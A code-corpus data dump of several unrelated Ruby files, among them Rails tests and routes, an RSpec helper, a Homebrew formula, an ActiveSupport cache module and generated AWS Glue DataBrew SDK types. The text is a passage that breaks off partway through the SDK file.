hexsha
stringlengths
40
40
size
int64
2
1.01M
content
stringlengths
2
1.01M
avg_line_length
float64
1.5
100
max_line_length
int64
2
1k
alphanum_fraction
float64
0.25
1
b915991a504b2fccf2582293f1ea54ef98d377ec
937
require 'application_system_test_case' class PostsTest < ApplicationSystemTestCase setup do @post = posts(:one) end test 'visiting the index' do visit posts_url assert_selector 'h1', text: 'Posts' end test 'creating a Post' do visit posts_url click_on 'New Post' fill_in 'Content', with: @post.Content fill_in 'Title', with: @post.title click_on 'Create Post' assert_text 'Post was successfully created' click_on 'Back' end test 'updating a Post' do visit posts_url click_on 'Edit', match: :first fill_in 'Content', with: @post.Content fill_in 'Title', with: @post.title click_on 'Update Post' assert_text 'Post was successfully updated' click_on 'Back' end test 'destroying a Post' do visit posts_url page.accept_confirm do click_on 'Destroy', match: :first end assert_text 'Post was successfully destroyed' end end
20.369565
49
0.683031
e253c81b6f3be0d8790905d69e0d2361ae8a49bf
393
Rails.application.routes.draw do # For details on the DSL available within this file, see http://guides.rubyonrails.org/routing.html namespace :api do namespace :v1 do resources :posts, only: %i[create show destroy update] do member do get :export_to_xlsx end end resources :comments, only: %i[create show destroy update] end end end
26.2
101
0.669211
5d994a37ef5e3003c6f857c1afc5e688376bd1ad
1,987
require 'simplecov' SimpleCov.start 'rails' ENV['RAILS_ENV'] ||= 'test' require File.expand_path('../dummy/config/environment', __FILE__) require 'rspec/rails' require 'database_cleaner' require 'ffaker' require 'capybara/rspec' require 'capybara/rails' require 'capybara/poltergeist' Dir["#{File.dirname(__FILE__)}/support/**/*.rb"].each {|f| require f} require 'spree/testing_support/factories' require 'spree/testing_support/controller_requests' require 'spree/testing_support/authorization_helpers' require 'spree/testing_support/url_helpers' require 'spree/testing_support/capybara_ext' RSpec.configure do |config| config.infer_spec_type_from_file_location! config.mock_with :rspec config.use_transactional_fixtures = false config.before :suite do DatabaseCleaner.strategy = :transaction DatabaseCleaner.clean_with :truncation end config.before :each do DatabaseCleaner.strategy = RSpec.current_example.metadata[:js] ? :truncation : :transaction DatabaseCleaner.start end config.after :each do DatabaseCleaner.clean end config.after(:each, type: :feature) do |example| missing_translations = page.body.scan(/translation missing: #{I18n.locale}\.(.*?)[\s<\"&]/) if missing_translations.any? #binding.pry puts "Found missing translations: #{missing_translations.inspect}" puts "In spec: #{example.location}" end if ENV['LOCAL'] && example.exception save_and_open_page page.save_screenshot("tmp/capybara/screenshots/#{example.metadata[:description]}.png", full: true) end end config.include Spree::TestingSupport::UrlHelpers config.include Spree::TestingSupport::ControllerRequests, :type => :controller config.include Devise::TestHelpers, :type => :controller config.include FactoryGirl::Syntax::Methods config.include Rack::Test::Methods, :type => :requests Capybara.javascript_driver = :poltergeist config.fail_fast = ENV['FAIL_FAST'] == 'true' || false end
30.106061
104
0.745848
91801d688e6ac76abfe99e2e50e18e9c7ad68f09
256
class Coactors::CInteractor < IIInteractor::Base context_in :stop, :fail context_out :results, default: [] def call stop! if @stop == 'C' fail! if @fail == 'C' @results << 'C' end def rollback @results << 'rollback C' end end
17.066667
48
0.609375
383a764c40a86dfb5ce2c4449d59622e20012163
864
require 'formula' class RakudoStar < Formula homepage 'http://rakudo.org/' url 'http://rakudo.org/downloads/star/rakudo-star-2013.12.tar.gz' sha256 '6a257e5f7879e0a9d7199edcfd47bd5a09dc4d9f5d91f124429af04974a836d3' conflicts_with 'parrot' depends_on 'gmp' => :optional depends_on 'icu4c' => :optional depends_on 'pcre' => :optional depends_on 'libffi' def install libffi = Formula.factory("libffi") ENV.remove 'CPPFLAGS', "-I#{libffi.include}" ENV.prepend 'CPPFLAGS', "-I#{libffi.lib}/libffi-#{libffi.version}/include" ENV.j1 # An intermittent race condition causes random build failures. system "perl", "Configure.pl", "--prefix=#{prefix}", "--backends=parrot", "--gen-parrot" system "make" system "make install" # move the man pages out of the top level into share. mv "#{prefix}/man", share end end
30.857143
92
0.696759
e8af7028e4dd08d72ab1eb77d1ad923238d40a97
1,831
require 'bundler' begin Bundler.require(:default, :development) rescue Bundler::BundlerError => e $stderr.puts e.message $stderr.puts 'Run `bundle install` to install missing gems' exit e.status_code end require 'pg' require 'pg_ltree' require 'minitest/autorun' class BaseTest < ActiveSupport::TestCase def setup prepare_db end def teardown drop_db end private def prepare_db begin db_connection = YAML.load_file(File.expand_path('../database.yml', __FILE__)) rescue => e $stderr.puts e.message $stderr.puts 'Copy `test/database.yml.sample` to `test/database.yml` and configure connection to DB' exit 0 end begin PG.connect(host: db_connection["host"], user: db_connection["username"], password: db_connection["password"]) .exec("CREATE DATABASE #{db_connection['database']}") rescue # Ignore errors on DB:CEATE end ActiveRecord::Base.establish_connection db_connection ActiveRecord::Schema.verbose = false ActiveRecord::Schema.define(version: 1) do enable_extension 'plpgsql' enable_extension 'ltree' create_table 'not_uniq_tree_nodes', force: :cascade do |t| t.string 'status' t.ltree 'new_path' end create_table 'tree_nodes', force: :cascade do |t| t.ltree 'path' end end end def drop_db tables = if ActiveRecord::VERSION::MAJOR < 5 ActiveRecord::Base.connection.tables else ActiveRecord::Base.connection.data_sources end tables.each { |table| ActiveRecord::Base.connection.drop_table(table) } end end class NotUniqTreeNode < ActiveRecord::Base extend PgLtree::ScopedFor ltree :new_path ltree_scoped_for :status end class TreeNode < ActiveRecord::Base ltree end
23.177215
115
0.677226
e2295e9b05fc26884d4da050083816f95bd66f9b
1,290
class Models::ApiClient def get_stacks_from_api return [FIRST_STACK, SECOND_STACK, LAST_STACK,GOOD_STACK, BUSY_STACK,BUSY_TO_GOOD_FOREVER_BUSY_STACK, BUSY_TO_GOOD_FOREVER_GOOD_STACK, BUSY_TO_GOOD_FOREVER_BUSY_STACK_SET_LOCAL_STATUS_TO_CANCELLING_BUSY, BUSY_TO_GOOD_FOREVER_BUSY_STACK_SET_LOCAL_STATUS_TO_CANCELLING_GOOD] end def deploy_from_api(id, services) return @@stack_started_redeploy_queued_state end def get_stack_from_api(stack_id) case stack_id when "good_stack" return GOOD_STACK when "busy_stack" return BUSY_STACK when "good_to_good_forever_stack" return BUSY_TO_GOOD_FOREVER_STACK.get when "busy_to_good_forever_stack_wait_loop" return BUSY_TO_GOOD_FOREVER_STACK.get when "busy_to_good_forever_stack_set_local_status_to_cancelling_busy" stack = Stack.new(BUSY_TO_GOOD_FOREVER_BUSY_STACK_SET_LOCAL_STATUS_TO_CANCELLING_BUSY) stack.set_local_status(Lita::Handlers::Deployer::REDIS_PREFIX, Lita::Handlers::Deployer::WAIT_TIMEOUT, :cancelling) return BUSY_TO_GOOD_FOREVER_STACK_SET_LOCAL_STATUS.get end end def get_stack_services_from_api(stack_id) return SERVICES_FROM_STACK end end
35.833333
123
0.760465
4af02828ae568e80207dacd5cdef0a8bc3ab93d4
646
require 'active_support' require 'active_record' require 'active_record_nearest_neighbor/railtie' if defined?(Rails) class ActiveRecord::Base module NearestNeighbor require 'active_record_nearest_neighbor/scopes' require 'active_record_nearest_neighbor/close_to' extend ActiveSupport::Concern included do # ensure the lonlat attribute before_save :set_lonlat! end module ClassMethods extend ActiveSupport::Concern include Scopes include CloseTo end private def set_lonlat! self.lonlat = "POINT(#{self.longitude} #{self.latitude})" end end end
17.459459
67
0.705882
ed3901efe02f481f77ce6923fb83b55accea0c97
681
require 'spec_helper' describe GistHistory do it 'is available' do gist_history = create(:gist_history) gist_history.user.should_not be_nil gist_history.gist.should_not be_nil gist_history.gist_files.should_not be_nil end it 'returns headline' do gist_history = create(:gist_file).gist_history expected = <<BODY class Sample def do_something puts "Hello!" BODY gist_history.headline.should eq(expected.sub(/\n$/, "")) end it 'returns headline for 2 lines' do body = <<BODY class Sample end BODY gist_history = create(:gist_file, :body => body).gist_history gist_history.headline.should eq(body.sub(/\n$/, "")) end end
21.28125
65
0.71072
91842ce022d28397a0faadcfad119be337859e16
2,785
module ActiveSupport module Cache module Strategy module LocalCache # this allows caching of the fact that there is nothing in the remote cache NULL = 'remote_cache_store:null' def with_local_cache Thread.current[thread_local_key] = MemoryStore.new yield ensure Thread.current[thread_local_key] = nil end def middleware @middleware ||= begin klass = Class.new klass.class_eval(<<-EOS, __FILE__, __LINE__) def initialize(app) @app = app end def call(env) Thread.current[:#{thread_local_key}] = MemoryStore.new @app.call(env) ensure Thread.current[:#{thread_local_key}] = nil end EOS klass end end def read(key, options = nil) value = local_cache && local_cache.read(key) if value == NULL nil elsif value.nil? value = super local_cache.mute { local_cache.write(key, value || NULL) } if local_cache value.duplicable? ? value.dup : value else # forcing the value to be immutable value.duplicable? ? value.dup : value end end def write(key, value, options = nil) value = value.to_s if respond_to?(:raw?) && raw?(options) local_cache.mute { local_cache.write(key, value || NULL) } if local_cache super end def delete(key, options = nil) local_cache.mute { local_cache.write(key, NULL) } if local_cache super end def exist(key, options = nil) value = local_cache.read(key) if local_cache if value == NULL false elsif value true else super end end def increment(key, amount = 1) if value = super local_cache.mute { local_cache.write(key, value.to_s) } if local_cache value else nil end end def decrement(key, amount = 1) if value = super local_cache.mute { local_cache.write(key, value.to_s) } if local_cache value else nil end end def clear local_cache.clear if local_cache super end private def thread_local_key @thread_local_key ||= "#{self.class.name.underscore}_local_cache".gsub("/", "_").to_sym end def local_cache Thread.current[thread_local_key] end end end end end
26.52381
99
0.51526
089cda72cbf74ea05ab3af664472850fb16d1ef3
109,485
# frozen_string_literal: true # WARNING ABOUT GENERATED CODE # # This file is generated. See the contributing guide for more information: # https://github.com/aws/aws-sdk-ruby/blob/master/CONTRIBUTING.md # # WARNING ABOUT GENERATED CODE module Aws::GlueDataBrew module Types # Access to the specified resource was denied. # # @!attribute [rw] message # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/AccessDeniedException AWS API Documentation # class AccessDeniedException < Struct.new( :message) SENSITIVE = [] include Aws::Structure end # @note When making an API call, you may pass BatchDeleteRecipeVersionRequest # data as a hash: # # { # name: "RecipeName", # required # recipe_versions: ["RecipeVersion"], # required # } # # @!attribute [rw] name # The name of the recipe whose versions are to be deleted. # @return [String] # # @!attribute [rw] recipe_versions # An array of version identifiers, for the recipe versions to be # deleted. You can specify numeric versions (`X.Y`) or # `LATEST_WORKING`. `LATEST_PUBLISHED` is not supported. # @return [Array<String>] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/BatchDeleteRecipeVersionRequest AWS API Documentation # class BatchDeleteRecipeVersionRequest < Struct.new( :name, :recipe_versions) SENSITIVE = [] include Aws::Structure end # @!attribute [rw] name # The name of the recipe that was modified. # @return [String] # # @!attribute [rw] errors # Errors, if any, that occurred while attempting to delete the recipe # versions. # @return [Array<Types::RecipeVersionErrorDetail>] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/BatchDeleteRecipeVersionResponse AWS API Documentation # class BatchDeleteRecipeVersionResponse < Struct.new( :name, :errors) SENSITIVE = [] include Aws::Structure end # Represents an individual condition that evaluates to true or false. # # Conditions are used with recipe actions: The action is only performed # for column values where the condition evaluates to true. # # If a recipe requires more than one condition, then the recipe must # specify multiple `ConditionExpression` elements. Each condition is # applied to the rows in a dataset first, before the recipe action is # performed. # # @note When making an API call, you may pass ConditionExpression # data as a hash: # # { # condition: "Condition", # required # value: "ConditionValue", # target_column: "TargetColumn", # required # } # # @!attribute [rw] condition # A specific condition to apply to a recipe action. For more # information, see [Recipe structure][1] in the *AWS Glue DataBrew # Developer Guide*. # # # # [1]: https://docs.aws.amazon.com/databrew/latest/dg/recipes.html#recipes.structure # @return [String] # # @!attribute [rw] value # A value that the condition must evaluate to for the condition to # succeed. # @return [String] # # @!attribute [rw] target_column # A column to apply this condition to. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/ConditionExpression AWS API Documentation # class ConditionExpression < Struct.new( :condition, :value, :target_column) SENSITIVE = [] include Aws::Structure end # Updating or deleting a resource can cause an inconsistent state. # # @!attribute [rw] message # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/ConflictException AWS API Documentation # class ConflictException < Struct.new( :message) SENSITIVE = [] include Aws::Structure end # @note When making an API call, you may pass CreateDatasetRequest # data as a hash: # # { # name: "DatasetName", # required # format_options: { # json: { # multi_line: false, # }, # excel: { # sheet_names: ["SheetName"], # sheet_indexes: [1], # }, # csv: { # delimiter: "Delimiter", # }, # }, # input: { # required # s3_input_definition: { # bucket: "Bucket", # required # key: "Key", # }, # data_catalog_input_definition: { # catalog_id: "CatalogId", # database_name: "DatabaseName", # required # table_name: "TableName", # required # temp_directory: { # bucket: "Bucket", # required # key: "Key", # }, # }, # }, # tags: { # "TagKey" => "TagValue", # }, # } # # @!attribute [rw] name # The name of the dataset to be created. Valid characters are # alphanumeric (A-Z, a-z, 0-9), hyphen (-), period (.), and space. # @return [String] # # @!attribute [rw] format_options # Options that define the structure of either Csv, Excel, or JSON # input. # @return [Types::FormatOptions] # # @!attribute [rw] input # Information on how DataBrew can find data, in either the AWS Glue # Data Catalog or Amazon S3. # @return [Types::Input] # # @!attribute [rw] tags # Metadata tags to apply to this dataset. # @return [Hash<String,String>] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/CreateDatasetRequest AWS API Documentation # class CreateDatasetRequest < Struct.new( :name, :format_options, :input, :tags) SENSITIVE = [] include Aws::Structure end # @!attribute [rw] name # The name of the dataset that you created. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/CreateDatasetResponse AWS API Documentation # class CreateDatasetResponse < Struct.new( :name) SENSITIVE = [] include Aws::Structure end # @note When making an API call, you may pass CreateProfileJobRequest # data as a hash: # # { # dataset_name: "DatasetName", # required # encryption_key_arn: "EncryptionKeyArn", # encryption_mode: "SSE-KMS", # accepts SSE-KMS, SSE-S3 # name: "JobName", # required # log_subscription: "ENABLE", # accepts ENABLE, DISABLE # max_capacity: 1, # max_retries: 1, # output_location: { # required # bucket: "Bucket", # required # key: "Key", # }, # role_arn: "Arn", # required # tags: { # "TagKey" => "TagValue", # }, # timeout: 1, # } # # @!attribute [rw] dataset_name # The name of the dataset that this job is to act upon. # @return [String] # # @!attribute [rw] encryption_key_arn # The Amazon Resource Name (ARN) of an encryption key that is used to # protect the job. # @return [String] # # @!attribute [rw] encryption_mode # The encryption mode for the job, which can be one of the following: # # * `SSE-KMS` - para&gt;`SSE-KMS` - server-side encryption with AWS # KMS-managed keys. # # * `SSE-S3` - Server-side encryption with keys managed by Amazon S3. # @return [String] # # @!attribute [rw] name # The name of the job to be created. Valid characters are alphanumeric # (A-Z, a-z, 0-9), hyphen (-), period (.), and space. # @return [String] # # @!attribute [rw] log_subscription # Enables or disables Amazon CloudWatch logging for the job. If # logging is enabled, CloudWatch writes one log stream for each job # run. # @return [String] # # @!attribute [rw] max_capacity # The maximum number of nodes that DataBrew can use when the job # processes data. # @return [Integer] # # @!attribute [rw] max_retries # The maximum number of times to retry the job after a job run fails. # @return [Integer] # # @!attribute [rw] output_location # An Amazon S3 location (bucket name an object key) where DataBrew can # read input data, or write output from a job. # @return [Types::S3Location] # # @!attribute [rw] role_arn # The Amazon Resource Name (ARN) of the AWS Identity and Access # Management (IAM) role to be assumed when DataBrew runs the job. # @return [String] # # @!attribute [rw] tags # Metadata tags to apply to this job. # @return [Hash<String,String>] # # @!attribute [rw] timeout # The job's timeout in minutes. A job that attempts to run longer # than this timeout period ends with a status of `TIMEOUT`. # @return [Integer] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/CreateProfileJobRequest AWS API Documentation # class CreateProfileJobRequest < Struct.new( :dataset_name, :encryption_key_arn, :encryption_mode, :name, :log_subscription, :max_capacity, :max_retries, :output_location, :role_arn, :tags, :timeout) SENSITIVE = [] include Aws::Structure end # @!attribute [rw] name # The name of the job that was created. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/CreateProfileJobResponse AWS API Documentation # class CreateProfileJobResponse < Struct.new( :name) SENSITIVE = [] include Aws::Structure end # @note When making an API call, you may pass CreateProjectRequest # data as a hash: # # { # dataset_name: "DatasetName", # required # name: "ProjectName", # required # recipe_name: "RecipeName", # required # sample: { # size: 1, # type: "FIRST_N", # required, accepts FIRST_N, LAST_N, RANDOM # }, # role_arn: "Arn", # required # tags: { # "TagKey" => "TagValue", # }, # } # # @!attribute [rw] dataset_name # The name of an existing dataset to associate this project with. # @return [String] # # @!attribute [rw] name # A unique name for the new project. Valid characters are alphanumeric # (A-Z, a-z, 0-9), hyphen (-), period (.), and space. # @return [String] # # @!attribute [rw] recipe_name # The name of an existing recipe to associate with the project. # @return [String] # # @!attribute [rw] sample # Represents the sample size and sampling type for DataBrew to use for # interactive data analysis. # @return [Types::Sample] # # @!attribute [rw] role_arn # The Amazon Resource Name (ARN) of the AWS Identity and Access # Management (IAM) role to be assumed for this request. # @return [String] # # @!attribute [rw] tags # Metadata tags to apply to this project. # @return [Hash<String,String>] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/CreateProjectRequest AWS API Documentation # class CreateProjectRequest < Struct.new( :dataset_name, :name, :recipe_name, :sample, :role_arn, :tags) SENSITIVE = [] include Aws::Structure end # @!attribute [rw] name # The name of the project that you created. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/CreateProjectResponse AWS API Documentation # class CreateProjectResponse < Struct.new( :name) SENSITIVE = [] include Aws::Structure end # @note When making an API call, you may pass CreateRecipeJobRequest # data as a hash: # # { # dataset_name: "DatasetName", # encryption_key_arn: "EncryptionKeyArn", # encryption_mode: "SSE-KMS", # accepts SSE-KMS, SSE-S3 # name: "JobName", # required # log_subscription: "ENABLE", # accepts ENABLE, DISABLE # max_capacity: 1, # max_retries: 1, # outputs: [ # required # { # compression_format: "GZIP", # accepts GZIP, LZ4, SNAPPY, BZIP2, DEFLATE, LZO, BROTLI, ZSTD, ZLIB # format: "CSV", # accepts CSV, JSON, PARQUET, GLUEPARQUET, AVRO, ORC, XML # partition_columns: ["ColumnName"], # location: { # required # bucket: "Bucket", # required # key: "Key", # }, # overwrite: false, # format_options: { # csv: { # delimiter: "Delimiter", # }, # }, # }, # ], # project_name: "ProjectName", # recipe_reference: { # name: "RecipeName", # required # recipe_version: "RecipeVersion", # }, # role_arn: "Arn", # required # tags: { # "TagKey" => "TagValue", # }, # timeout: 1, # } # # @!attribute [rw] dataset_name # The name of the dataset that this job processes. # @return [String] # # @!attribute [rw] encryption_key_arn # The Amazon Resource Name (ARN) of an encryption key that is used to # protect the job. # @return [String] # # @!attribute [rw] encryption_mode # The encryption mode for the job, which can be one of the following: # # * `SSE-KMS` - Server-side encryption with AWS KMS-managed keys. # # * `SSE-S3` - Server-side encryption with keys managed by Amazon S3. # @return [String] # # @!attribute [rw] name # A unique name for the job. Valid characters are alphanumeric (A-Z, # a-z, 0-9), hyphen (-), period (.), and space. # @return [String] # # @!attribute [rw] log_subscription # Enables or disables Amazon CloudWatch logging for the job. If # logging is enabled, CloudWatch writes one log stream for each job # run. # @return [String] # # @!attribute [rw] max_capacity # The maximum number of nodes that DataBrew can consume when the job # processes data. # @return [Integer] # # @!attribute [rw] max_retries # The maximum number of times to retry the job after a job run fails. # @return [Integer] # # @!attribute [rw] outputs # One or more artifacts that represent the output from running the # job. # @return [Array<Types::Output>] # # @!attribute [rw] project_name # Either the name of an existing project, or a combination of a recipe # and a dataset to associate with the recipe. # @return [String] # # @!attribute [rw] recipe_reference # Represents the name and version of a DataBrew recipe. # @return [Types::RecipeReference] # # @!attribute [rw] role_arn # The Amazon Resource Name (ARN) of the AWS Identity and Access # Management (IAM) role to be assumed when DataBrew runs the job. # @return [String] # # @!attribute [rw] tags # Metadata tags to apply to this job. # @return [Hash<String,String>] # # @!attribute [rw] timeout # The job's timeout in minutes. A job that attempts to run longer # than this timeout period ends with a status of `TIMEOUT`. # @return [Integer] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/CreateRecipeJobRequest AWS API Documentation # class CreateRecipeJobRequest < Struct.new( :dataset_name, :encryption_key_arn, :encryption_mode, :name, :log_subscription, :max_capacity, :max_retries, :outputs, :project_name, :recipe_reference, :role_arn, :tags, :timeout) SENSITIVE = [] include Aws::Structure end # @!attribute [rw] name # The name of the job that you created. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/CreateRecipeJobResponse AWS API Documentation # class CreateRecipeJobResponse < Struct.new( :name) SENSITIVE = [] include Aws::Structure end # @note When making an API call, you may pass CreateRecipeRequest # data as a hash: # # { # description: "RecipeDescription", # name: "RecipeName", # required # steps: [ # required # { # action: { # required # operation: "Operation", # required # parameters: { # "ParameterName" => "ParameterValue", # }, # }, # condition_expressions: [ # { # condition: "Condition", # required # value: "ConditionValue", # target_column: "TargetColumn", # required # }, # ], # }, # ], # tags: { # "TagKey" => "TagValue", # }, # } # # @!attribute [rw] description # A description for the recipe. # @return [String] # # @!attribute [rw] name # A unique name for the recipe. Valid characters are alphanumeric # (A-Z, a-z, 0-9), hyphen (-), period (.), and space. # @return [String] # # @!attribute [rw] steps # An array containing the steps to be performed by the recipe. Each # recipe step consists of one recipe action and (optionally) an array # of condition expressions. # @return [Array<Types::RecipeStep>] # # @!attribute [rw] tags # Metadata tags to apply to this recipe. # @return [Hash<String,String>] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/CreateRecipeRequest AWS API Documentation # class CreateRecipeRequest < Struct.new( :description, :name, :steps, :tags) SENSITIVE = [] include Aws::Structure end # @!attribute [rw] name # The name of the recipe that you created. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/CreateRecipeResponse AWS API Documentation # class CreateRecipeResponse < Struct.new( :name) SENSITIVE = [] include Aws::Structure end # @note When making an API call, you may pass CreateScheduleRequest # data as a hash: # # { # job_names: ["JobName"], # cron_expression: "CronExpression", # required # tags: { # "TagKey" => "TagValue", # }, # name: "ScheduleName", # required # } # # @!attribute [rw] job_names # The name or names of one or more jobs to be run. # @return [Array<String>] # # @!attribute [rw] cron_expression # The date or dates and time or times when the jobs are to be run. For # more information, see [Cron expressions][1] in the *AWS Glue # DataBrew Developer Guide*. # # # # [1]: https://docs.aws.amazon.com/databrew/latest/dg/jobs.cron.html # @return [String] # # @!attribute [rw] tags # Metadata tags to apply to this schedule. # @return [Hash<String,String>] # # @!attribute [rw] name # A unique name for the schedule. Valid characters are alphanumeric # (A-Z, a-z, 0-9), hyphen (-), period (.), and space. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/CreateScheduleRequest AWS API Documentation # class CreateScheduleRequest < Struct.new( :job_names, :cron_expression, :tags, :name) SENSITIVE = [] include Aws::Structure end # @!attribute [rw] name # The name of the schedule that was created. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/CreateScheduleResponse AWS API Documentation # class CreateScheduleResponse < Struct.new( :name) SENSITIVE = [] include Aws::Structure end # Options that define how DataBrew will read a Csv file when creating a # dataset from that file. # # @note When making an API call, you may pass CsvOptions # data as a hash: # # { # delimiter: "Delimiter", # } # # @!attribute [rw] delimiter # A single character that specifies the delimiter being used in the # Csv file. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/CsvOptions AWS API Documentation # class CsvOptions < Struct.new( :delimiter) SENSITIVE = [] include Aws::Structure end # Options that define how DataBrew will write a Csv file a. # # @note When making an API call, you may pass CsvOutputOptions # data as a hash: # # { # delimiter: "Delimiter", # } # # @!attribute [rw] delimiter # A single character that specifies the delimiter used to create Csv # job output. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/CsvOutputOptions AWS API Documentation # class CsvOutputOptions < Struct.new( :delimiter) SENSITIVE = [] include Aws::Structure end # Represents how metadata stored in the AWS Glue Data Catalog is defined # in a DataBrew dataset. # # @note When making an API call, you may pass DataCatalogInputDefinition # data as a hash: # # { # catalog_id: "CatalogId", # database_name: "DatabaseName", # required # table_name: "TableName", # required # temp_directory: { # bucket: "Bucket", # required # key: "Key", # }, # } # # @!attribute [rw] catalog_id # The unique identifier of the AWS account that holds the Data Catalog # that stores the data. # @return [String] # # @!attribute [rw] database_name # The name of a database in the Data Catalog. # @return [String] # # @!attribute [rw] table_name # The name of a database table in the Data Catalog. This table # corresponds to a DataBrew dataset. # @return [String] # # @!attribute [rw] temp_directory # An Amazon location that AWS Glue Data Catalog can use as a temporary # directory. # @return [Types::S3Location] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/DataCatalogInputDefinition AWS API Documentation # class DataCatalogInputDefinition < Struct.new( :catalog_id, :database_name, :table_name, :temp_directory) SENSITIVE = [] include Aws::Structure end # Represents a dataset that can be processed by DataBrew. # # @!attribute [rw] account_id # The ID of the AWS account that owns the dataset. # @return [String] # # @!attribute [rw] created_by # The Amazon Resource Name (ARN) of the user who created the dataset. # @return [String] # # @!attribute [rw] create_date # The date and time that the dataset was created. # @return [Time] # # @!attribute [rw] name # The unique name of the dataset. # @return [String] # # @!attribute [rw] format_options # Options that define how DataBrew interprets the data in the dataset. # @return [Types::FormatOptions] # # @!attribute [rw] input # Information on how DataBrew can find the dataset, in either the AWS # Glue Data Catalog or Amazon S3. # @return [Types::Input] # # @!attribute [rw] last_modified_date # The last modification date and time of the dataset. # @return [Time] # # @!attribute [rw] last_modified_by # The Amazon Resource Name (ARN) of the user who last modified the # dataset. # @return [String] # # @!attribute [rw] source # The location of the data for the dataset, either Amazon S3 or the # AWS Glue Data Catalog. # @return [String] # # @!attribute [rw] tags # Metadata tags that have been applied to the dataset. # @return [Hash<String,String>] # # @!attribute [rw] resource_arn # The unique Amazon Resource Name (ARN) for the dataset. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/Dataset AWS API Documentation # class Dataset < Struct.new( :account_id, :created_by, :create_date, :name, :format_options, :input, :last_modified_date, :last_modified_by, :source, :tags, :resource_arn) SENSITIVE = [] include Aws::Structure end # @note When making an API call, you may pass DeleteDatasetRequest # data as a hash: # # { # name: "DatasetName", # required # } # # @!attribute [rw] name # The name of the dataset to be deleted. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/DeleteDatasetRequest AWS API Documentation # class DeleteDatasetRequest < Struct.new( :name) SENSITIVE = [] include Aws::Structure end # @!attribute [rw] name # The name of the dataset that you deleted. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/DeleteDatasetResponse AWS API Documentation # class DeleteDatasetResponse < Struct.new( :name) SENSITIVE = [] include Aws::Structure end # @note When making an API call, you may pass DeleteJobRequest # data as a hash: # # { # name: "JobName", # required # } # # @!attribute [rw] name # The name of the job to be deleted. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/DeleteJobRequest AWS API Documentation # class DeleteJobRequest < Struct.new( :name) SENSITIVE = [] include Aws::Structure end # @!attribute [rw] name # The name of the job that you deleted. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/DeleteJobResponse AWS API Documentation # class DeleteJobResponse < Struct.new( :name) SENSITIVE = [] include Aws::Structure end # @note When making an API call, you may pass DeleteProjectRequest # data as a hash: # # { # name: "ProjectName", # required # } # # @!attribute [rw] name # The name of the project to be deleted. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/DeleteProjectRequest AWS API Documentation # class DeleteProjectRequest < Struct.new( :name) SENSITIVE = [] include Aws::Structure end # @!attribute [rw] name # The name of the project that you deleted. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/DeleteProjectResponse AWS API Documentation # class DeleteProjectResponse < Struct.new( :name) SENSITIVE = [] include Aws::Structure end # @note When making an API call, you may pass DeleteRecipeVersionRequest # data as a hash: # # { # name: "RecipeName", # required # recipe_version: "RecipeVersion", # required # } # # @!attribute [rw] name # The name of the recipe. # @return [String] # # @!attribute [rw] recipe_version # The version of the recipe to be deleted. You can specify a numeric # versions (`X.Y`) or `LATEST_WORKING`. `LATEST_PUBLISHED` is not # supported. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/DeleteRecipeVersionRequest AWS API Documentation # class DeleteRecipeVersionRequest < Struct.new( :name, :recipe_version) SENSITIVE = [] include Aws::Structure end # @!attribute [rw] name # The name of the recipe that was deleted. # @return [String] # # @!attribute [rw] recipe_version # The version of the recipe that was deleted. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/DeleteRecipeVersionResponse AWS API Documentation # class DeleteRecipeVersionResponse < Struct.new( :name, :recipe_version) SENSITIVE = [] include Aws::Structure end # @note When making an API call, you may pass DeleteScheduleRequest # data as a hash: # # { # name: "ScheduleName", # required # } # # @!attribute [rw] name # The name of the schedule to be deleted. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/DeleteScheduleRequest AWS API Documentation # class DeleteScheduleRequest < Struct.new( :name) SENSITIVE = [] include Aws::Structure end # @!attribute [rw] name # The name of the schedule that was deleted. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/DeleteScheduleResponse AWS API Documentation # class DeleteScheduleResponse < Struct.new( :name) SENSITIVE = [] include Aws::Structure end # @note When making an API call, you may pass DescribeDatasetRequest # data as a hash: # # { # name: "DatasetName", # required # } # # @!attribute [rw] name # The name of the dataset to be described. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/DescribeDatasetRequest AWS API Documentation # class DescribeDatasetRequest < Struct.new( :name) SENSITIVE = [] include Aws::Structure end # @!attribute 